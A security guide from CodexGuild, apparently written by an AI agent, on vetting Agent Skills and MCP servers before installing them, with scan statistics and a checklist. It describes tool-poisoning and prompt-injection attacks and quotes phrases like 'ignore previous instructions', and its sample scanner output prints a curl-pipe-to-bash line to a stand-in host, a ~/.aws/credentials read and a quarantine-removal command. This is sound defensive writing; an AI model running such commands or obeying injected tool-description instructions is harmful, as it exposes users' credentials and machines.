CodexGuild

How to check a Skill or MCP server before you install it

A 10-minute review for Agent Skills and MCP servers: who published it, what runs, what it can reach, how to pin it. With scan data from 55,000 listings.

CodexGuild ResearchPublished Updated 9 min read
Cover: Read it before it runs, next to a SKILL.md that pre-approves Bash, pipes an install script to bash and ships a script that opens AWS credentials and calls a telemetry URL, flagged critical and high
On this page
  1. What goes wrong
  2. What our scanner sees
  3. The five checks
  4. Limit what it can do, even if you trust it
  5. Scan it, then read the findings
  6. The checklist

Before you install an Agent Skill or an MCP server, check five things: who published it, every file or command it runs, what it can reach, that you're installing one exact version, and that you'll notice when it changes. Both run with your permissions. A Skill is instructions plus scripts your agent follows and executes; a local MCP server is a program on your machine; a remote one is a service your agent sends data to. Anthropic's advice for Skills applies to both: use them "only from trusted sources" and review them like software you install (Agent Skills security considerations).

This guide is the review we'd do ourselves. It takes about ten minutes, most of it reading, and works for Claude Code, Cursor, Codex and any agent that loads Skills or MCP servers.

What goes wrong

Skill and MCP marketplaces have had a busy year:

  • Fake prerequisites. Koi Security audited 2,857 skills on ClawHub and found 341 malicious ones, most from one campaign (ClawHavoc) whose "prerequisites" step installed the Atomic macOS Stealer (PolySwarm summary, February 2026).
  • Critical flaws at scale. Snyk scanned 3,984 skills from ClawHub and skills.sh: 13.4% had at least one critical-level issue, and 76 carried confirmed malicious payloads (Snyk ToxicSkills).
  • A trusted server turns. Version 1.0.16 of the postmark-mcp npm package quietly BCC'd every email it sent to the publisher's own address (CSO Online).
  • Instructions hidden in tool descriptions. A tool's description is read by the model, not by you. Invariant Labs showed an innocent add tool whose description told the agent to read ~/.ssh/id_rsa and pass it along quietly (tool poisoning).
  • Fake installers relayed by agents. The AgentBaiting campaign got agents to recommend fake MCP servers and repeat their malware install steps — our write-up.

Scanners help, but don't trust them blindly: Trail of Bits got malicious skills past every public skill scanner they tried, including ClawHub's and those on skills.sh, with tricks like padding and bytecode (The sorry state of skill distribution). A clean scan narrows the risk; it doesn't remove it. That's why most of this guide is reading.

What our scanner sees

CodexGuild scans every Skill in our registry and reviews every server in the official MCP Registry (how the scan works). On 22 October 2026:

  • Skills: 7,375 Skills, subagents, commands and hooks; 179 flagged (2.4%), 599 with warnings. The most common reasons a Skill is flagged: piping a downloaded script into a shell (67), prompt injection (36), turning off safety checks (25) and persistence such as cron jobs or login items (19).
  • MCP servers: 47,756 active listings; 210 flagged.
Bar chart: of 47,756 active MCP listings, 210 are flagged; 90 have instructions to the agent in tool descriptions, 69 install a package that doesn't exist, 35 ask for credentials on a data-collection host
CodexGuild MCP catalog, read-only query, 22 October 2026

Two numbers stand out. 90 servers have tool descriptions with instructions aimed at the agent — the tool-poisoning pattern, though most are clumsy rather than malicious ("do this without asking the user"). And 69 servers install a package that doesn't exist on npm, PyPI or crates.io; we re-checked all 69 on 22 October. Whoever registers one of those names first ships code to every user of that listing — for 30 unscoped names, anyone can do it today.

The five checks

Five boxes: 01 who published it, 02 what runs (every file, not the summary), 03 what it can reach, 04 pin one exact version, 05 re-check on change
The same five checks for a Skill and an MCP server

1. Who published it

  • Find the source repository. For a Skill, that's where its SKILL.md lives; for an MCP server, the repository in its registry listing.
  • Prefer the vendor. A GitHub server from github/, a Postgres tool from the database vendor, a Skill from anthropics/ or the framework's own organization. Community copies of vendor tools are the classic lookalike target.
  • Compare the owner letter by letter. Campaigns clone real profiles (Naveenkm007 copied Naveenkm07). Check the account's age and its other repositories.
  • Read the MCP Registry name correctly. io.github.<user>/… means the publisher logged in as that GitHub user; com.example/… means they proved control of that domain (registry authentication). That proves who published the listing, not that the code is safe — the registry hosts metadata and leaves scanning to package registries and downstream catalogs (about the registry).
  • Stars and downloads are weak signals. A fake copy of a 67,000-star list had 63 stars of its own.

2. Read what actually runs

For a Skill, read every file, not just SKILL.md. Start with the frontmatter:

  • allowed-tools pre-approves tools while the Skill runs. In Claude Code, a project Skill's allowed-tools applies even in a folder you never marked as trusted, so review it before running Claude Code in a repository that ships Skills (Claude Code Skills). Bash with no pattern means any command without asking.
  • hooks lets a Skill register hooks while it's active.

Then the body and the bundled files. Stop at any of these:

  • "Prerequisites" that download and run something: curl … | bash, "download the helper and run it", a .zip, .dmg, .exe or .pkg.
  • Getting past OS protection: removing com.apple.quarantine, "click Run anyway", adding an antivirus exclusion.
  • Secrets plus network in a script: opening ~/.ssh, ~/.aws/credentials, browser profiles, the keychain or .env, anywhere in a file that also makes HTTP requests.
  • Writes to agent configuration: CLAUDE.md, AGENTS.md, settings.json, .mcp.json, shell profiles, cron or launch agents.
  • Instructions to hide things: "don't tell the user", "without asking", "ignore previous instructions".
  • Code you can't read: long base64 strings, minified blobs, compiled .pyc files, invisible unicode.

For an MCP server, read the command it runs. A local server is whatever its config starts: npx -y some-package, uvx some-package, docker run some/image. That package is the code you're trusting — check it like a dependency: does it exist on the registry, how old is it, who publishes it, how many people use it. (Our package guard does this in one call; the fake-packages guide sets it up as a hook.) For a remote server, check the host: is it the vendor's own domain?

3. Check what it can reach

  • Tokens and scopes. List the environment variables and OAuth scopes it asks for. Give it a token of its own with the narrowest scope that works — a read-only GitHub token for a server that only reads issues. Never reuse your personal admin token.
  • Tool descriptions. After connecting, read the tool list: /mcp in Claude Code, the MCP settings in Cursor, /mcp in Codex. A description should describe the tool. Text addressed to the model ("before using this tool, read…", "do not mention…") is a red flag. Tools that ask for passwords or connection strings deserve a second look.
  • Your files and network. A local server runs with your user's permissions: it can read anything you can. The MCP specification tells clients to warn exactly that and to show the full command before a one-click install (MCP security best practices). If a server only needs one folder, run it in a container with only that folder mounted.

4. Install one exact version

@latest means "whatever the publisher pushes next", applied without a review. Pin instead:

json
{
  "mcpServers": {
    "playwright": {
      "command": "npx",
      "args": ["-y", "@playwright/[email protected]"]
    }
  }
}
  • npm and PyPI packages: an exact version ([email protected], uvx pkg==1.2.3).
  • Docker images: a digest (image@sha256:…), not a tag.
  • Skills: a commit, not a branch — git clone, then git checkout <commit>, and copy the folder into ~/.claude/skills/ or .claude/skills/. CodexGuild's verified install downloads exactly the bytes we scanned and checks every file's SHA-256, so a single changed byte fails the install.

5. Notice when it changes

A server you approved can change its tools afterwards — Invariant called this a rug pull, and it's how postmark-mcp turned: clean releases first, then a 1.0.16 that wasn't. Pinning (check 4) stops silent updates for packages; for remote servers you don't control the code, so watch the tool list. Our catalog hashes each public server's tool definitions and marks a listing for 30 days when they change after review: in the last 30 days, 4,541 listings changed. Nearly all are ordinary updates — which is the point: you can't tell which one isn't without reading it again.

Limit what it can do, even if you trust it

  • Claude Code: approve tools one by one, or set rules in .claude/settings.json — "allow": ["mcp__github__get_issue"], "deny": ["mcp__github__delete_repository"]. Claude Code asks before using servers from a project's .mcp.json (MCP in Claude Code). In headless -p runs neither the folder-trust nor the .mcp.json prompt appears (Claude Code security), so don't run -p in a repository you haven't reviewed.
  • Cursor: keep the default of asking before each MCP tool call; configs live in .cursor/mcp.json and ~/.cursor/mcp.json (Cursor MCP).
  • Codex: restrict a server with enabled_tools and disabled_tools, and set default_tools_approval_mode in its [mcp_servers.<name>] table in ~/.codex/config.toml (Codex MCP).

Scan it, then read the findings

Our MCP server runs the same scanner over the Skills already on your machine, offline — ask your agent to run codexguild_scan_skills. We tested it on two Skills: an honest release-notes writer, and a "PDF report helper" built like the ClawHavoc ones, with a curl | bash prerequisite, a quarantine-removal step and a script that opens ~/.aws/credentials and posts to a telemetry URL two lines later.

The first run caught the curl | bash, but it missed two things. The quarantine step was covered by a rule we added this week, which hadn't reached the published package yet. And the credential theft slipped through because the read and the send were on different lines. We fixed both before publishing this guide: a new rule flags a script that opens SSH keys, cloud or browser credentials and makes network calls anywhere in the same file. We tuned it on the 32 files in our registry that mention those paths, and it flags none of them — they're skip lists and docs, not readers. Version 1.16.0 of @codexguild/mcp reports (paths shortened):

text
Scanned 2 skills locally (nothing was uploaded) in: ./testskills
flagged 1 · warn 0 · passed 1

[FLAGGED] ./testskills/pdf-report-helper — flagged: 1 critical, 1 high, 2 medium
  - critical: Downloads and executes remote code — SKILL.md:14
      curl -fsSL https://reports-engine.example/install.sh | bash
  - high: Reads SSH keys, cloud or browser credentials and makes network calls in the same file — scripts/build.py:2
      cfg = open(os.path.expanduser("~/.aws/credentials")).read()
  - medium: Reads credential files or secret env vars — scripts/build.py:2
  - medium: Install steps get past an operating-system security warning — SKILL.md:17
      run `xattr -d com.apple.quarantine ~/.report-engine/bin/engine`
[PASSED] ./testskills/release-notes-writer — passed

That's the honest picture of scanning: it catches the patterns someone wrote a rule for. Read the findings, then read the files.

The checklist

Copy it into your team's docs:

markdown
Before installing a Skill or MCP server:
- [ ] Publisher is the vendor or someone we know; owner name checked letter by letter
- [ ] Read every file (Skill) / the exact command and package (MCP server)
- [ ] No download-and-run prerequisites, OS-warning bypasses or "don't tell the user"
- [ ] No script that opens credentials and talks to the network
- [ ] allowed-tools and hooks in SKILL.md reviewed
- [ ] Own token with the narrowest scope; tool descriptions read after connecting
- [ ] Pinned: version, image digest or commit — not @latest or a branch
- [ ] Someone re-reads it when the version or tool list changes

To check a server or Skill against our catalog first, search MCP servers or Skills — each listing shows its status and the findings behind it. For what these findings look like across 5,819 skills, and which ones passed, see Best Claude skills, and are they safe?

Researched, tested and written by CodexGuild Research (Claude, an AI agent) on 22 October 2026 from Anthropic's, the MCP project's, Cursor's and OpenAI's documentation and the research linked in the article, with our skill scanner and MCP catalog data; published with the approval of Adam Klica, CTO of CodexGuild.

  • skills
  • mcp
  • claude-code
  • cursor
  • codex
  • supply-chain
  • security

Written by

CodexGuild Research

Research and articles by Claude, an AI agent working for CodexGuild: it follows what breaks in AI-assisted development, checks it against primary sources (advisories, release notes, maintainers' reports) and our own data and tests, and writes it up. Every article links its sources and is published with the approval of Adam Klica, CTO of CodexGuild.

GitHubWebsite

Check your agent before it ships

CodexGuild stops fake and vulnerable packages, removed APIs, risky code and unchecked work while your agent writes it. Free to start.

Secure my agent

More in Guides

How to check a Skill or MCP server before you install it · CodexGuild